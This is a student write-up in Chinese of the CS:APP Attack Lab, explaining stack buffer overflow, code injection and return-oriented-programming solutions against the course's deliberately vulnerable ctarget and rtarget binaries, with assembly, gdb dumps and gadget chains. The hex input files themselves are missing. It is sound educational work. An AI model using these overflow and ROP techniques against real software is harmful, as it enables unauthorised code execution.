Attack Lab Report

target34

Part I: Code Injection Attacks

Phase 1

让 getbuf 返回时执行 touch1 而非 test,即返回到 touch1 的起始地址。

getbuf 中 sub \$0x28, %rsp 说明缓冲区有0x28即40位,再高4位就是正常返回的地址。因此需要利用缓冲区溢出覆写返回地址。构建输入 c1.txt 如下:

每两位十六进制数对应一个char,即构建了一个长度为44的字符串。前40位仅是为了填充缓冲区,最后4位是小端法下的 touch1 地址(通过 objdump -d ctarget 查看)。使用 hex2raw < c1.txt | ./ctarget 实施攻击。

Phase 2

让 getbuf 返回时执行 touch2, 同时还需要传入特定的参数(cookie)。可以通过代码注入来实现。构建代码c2.s 如下:

```
mov $0x43227a88,%rdi
pushq $0x401758
retq
```

其中第一句把cookie放入rdi作为第一个参数,后两句返回到 touch2 的地址。

接下来 gcc -c c2.s && objdump -d c2.o > c2.s 得到指令码:

```
p2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
    0: 48 c7 c7 88 7a 22 43 mov $0x43227a88,%rdi
    7: 68 58 17 40 00 pushq $0x401758
    c: c3 retq
```

把这些指令作为输入后,三条指令就在栈上了。因此修改返回地址到获取输入前的栈指针rsp就可以运行这些栈上的代码。可以用gdb查看当时的rsp位置。 gdb ctarget; b getbuf; r; step; i r rsp 得到rsp值为 0x5560f988。因此构建输入 c2.txt 如下:

Phase 3

与phase2类似,这次需要传入一个地址,指向字符串形式的cookie。除了代码注入,还需要找个地方放字符串。 最直接的做法是像指令一样通过输入放到栈上,然而在输入后到使用字符串之间会涉及调用 hexmatch ,可能会使 用栈上的一些空间,所以需要找到一块不受影响的位置存放字符串。

先构造代码如下:

```
mov $0x5560f988,%rdi
pushq $0x401869
retq
```

基本与phase2相同,只是把rdi的值暂时改成了 getbuf 内的rsp值,然后返回到 touch3 。像之前一样构建输入,gdb中在 hexmatch 前后设好断点后运行:

```
Breakpoint 1, 0x00000000040187a in touch3 (sval=0x5560f9c8 "") at visible.c:73
      visible.c: Permission denied.
(gdb) x/32x 0x5560f988
0x5560f988:
              0x88c7c748
                              0x685560f9
                                             0x00401869
                                                            0x00000c3
0x5560f998:
               0x00000000
                              0x00000000
                                             0x00000000
                                                            0x00000000
0x5560f9a8:
             0x00000000
                              0x0000000
                                             0x55586000
                                                            0x0000000
0x5560f9b8:
             0x00000008
                              0x00000000
                                             0x00401e7c
                                                            0x0000000
             0x00000000
0x5560f9c8:
                              0x00000000
                                             0xf4f4f4f4
                                                            0xf4f4f4f4
0x5560f9d8:
             0xf4f4f4f4
                              0xf4f4f4f4
                                             0xf4f4f4f4
                                                            0xf4f4f4f4
0x5560f9e8:
             0xf4f4f4f4
                             0xf4f4f4f4
                                             0xf4f4f4f4
                                                            0xf4f4f4f4
                                                            0xf4f4f4f4
0x5560f9f8:
             0xf4f4f4f4
                              0xf4f4f4f4
                                             0xf4f4f4f4
(gdb) c
Continuing.
Breakpoint 2, 0x000000000401885 in touch3 (sval=0x5560f9c8 "") at visible.c:73
       in visible.c
(gdb) x/32x 0x5560f988
0x5560f988:
             0xbe80c500
                              0x9a5700ba
                                             0x5560f9c8
                                                            0x00000000
0x5560f998:
             0x55685fe8
                              0x00000000
                                             0x00000003
                                                            0x00000000
0x5560f9a8:
             0x00401885
                              0x00000000
                                             0x55586000
                                                            0x00000000
0x5560f9b8:
             0x00000008
                                                            0x00000000
                              0x00000000
                                             0x00401e7c
0x5560f9c8:
             0x00000000
                              0x00000000
                                             0xf4f4f4f4
                                                            0xf4f4f4f4
0x5560f9d8:
             0xf4f4f4f4
                              0xf4f4f4f4
                                             0xf4f4f4f4
                                                            0xf4f4f4f4
0x5560f9e8:
               0xf4f4f4f4
                              0xf4f4f4f4
                                             0xf4f4f4f4
                                                            0xf4f4f4f4
               0xf4f4f4f4
0x5560f9f8:
                              0xf4f4f4f4
                                             0xf4f4f4f4
                                                            0xf4f4f4f4
```

观察发现在0x5560f9a8及之前的位置都有值改变,之后的位置应该是安全的。尝试在紧接其后的位置0x5560f9b8(方便起见空了4个byte)放字符串,则代码及输入如下:

```
mov $0x5560f9b8,%rdi
pushq $0x401869
retq
```

运行发现可行。(cookie的字符串形式可以在python中运行 [hex(ord(c)) for c in "<cookie>"]得到)

Part II: Return-Oriented Programming

Phase 4

与phase2要求一致,但是不能运行栈上的代码,即做不了代码注入,需要利用 rtarget 里已有的指令,发现一些 gadget。

要实现以cookie为参数调用 touch2, 可以构建指令如下:

```
popq %rdi
ret
```

或者先pop到另一个寄存器再move到rdi中:

```
popq %rax
movq %rax,%rdi
ret
```

popq编码是58到5f,但是在farm段里没有找到之后接着c3的(包括隔着nop),于是在全文件搜,在 submitr 末尾正好有5f c3,起始地址是402a4b。因此构建输入如下:

前面40个byte仍是为了填充缓冲区,之后分别是gadget地址,cookie和 target2 地址,要注意小端法和对齐(popq一次拿8个byte)。

提交后发现被判定为invalid了,看来只能运行farm段里的代码。于是尝试利用下面两个函数里的58 90 90 c3和48 89 c7 c3,分别对应 popg %rax; ret (如果忽略中间的90 90)和 movg %rax, %rdi; ret 。

则输入如下:

这次通过了。

Phase 5

与phase3要求一致。输入完栈上从栈顶到栈底设计如下:

```
movq %rsp,%rax
movq %rax,%rdi
popq %rax
$0x48 (offset)
movl %eax,%ecx
movl %ecx,%edx
movl %edx,%esi
lea (%rdi,%rsi,1),%rax # available at <add_xy>
movq %rax,%rdi
$0x401869 (<touch3>)
"..." (cookie)
```

前面到lea的一堆都是为了拿到cookie字符串的地址: rsp+offset。执行第一句时rsp已经指向下一句了,因此偏移量是8*9=72=0x48个byte。最后用这个地址作为参数调用 touch3 。输入如下: